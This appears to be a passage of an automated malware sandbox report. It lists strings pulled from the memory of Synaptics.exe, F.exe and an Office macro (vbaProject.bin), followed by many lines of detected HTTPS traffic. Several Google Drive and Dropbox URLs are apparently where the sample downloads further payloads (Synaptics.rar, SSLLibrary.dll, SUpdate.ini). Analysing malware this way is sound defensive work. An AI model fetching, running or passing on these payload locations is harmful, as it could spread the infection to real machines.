Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoml
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadone
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonz
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpN
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpe
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpl
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq1
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq1B
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqE
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...#
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrK
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrU
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrc
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrg
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrtDT
Source: Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsx
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000004.00000002.2530140781.00000000074D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtM
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtc
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadte
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtent
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadti
Source: Synaptics.exe, 00000004.00000002.2540164357.000000000DD8E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtop
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadts
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadutub
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadve4
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadviZ
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000755A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwB
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DEEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwB3
Source: Synaptics.exe, 00000004.00000002.2530140781.000000000747C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyA$
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor...
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoutu
Source: Synaptics.exe, 00000004.00000002.2530140781.0000000007585000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzL
Source: Synaptics.exe, 00000004.00000002.2505106985.0000000000740000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: vbaProject.bin	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DE98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2549645289.000000000DF8B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.000000000070A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/7
Source: Synaptics.exe, 00000004.00000002.2545756503.000000000DDDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/Y
Source: Synaptics.exe, 00000004.00000002.2525281255.0000000005580000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2505106985.0000000000724000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000004.00000002.2529101852.00000000073F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/4
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000004.00000002.2529101852.00000000073F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOx
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000004.00000002.2529101852.0000000007409000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000004.00000002.2525281255.000000000551D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000004.00000002.2547909817.000000000DE98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/z
Source: powershell.exe, 0000001B.00000002.2765152080.0000000004EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr	String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff
Source: msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr	String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith
Source: powershell.exe, 00000015.00000002.2752155516.0000000005CAA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2752155516.0000000005E1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: integrator.exe.0.dr	String found in binary or memory: https://nexus.officeapps.live.comhttps://nexusrules.officeapps.live.com
Source: powershell.exe, 00000008.00000002.2281858184.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2802481932.0000000006529000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2823008513.0000000006039000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2834693917.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: integrator.exe.0.dr	String found in binary or memory: https://otelrules.azureedge.net/rules/.bundlesdxhelper.exeFailed
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: Synaptics.exe.2.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: F.exe, 00000002.00000003.2064449004.00000000021A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl
Source: Synaptics.exe.2.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: vbaProject.bin	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000004.00000002.2511829684.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
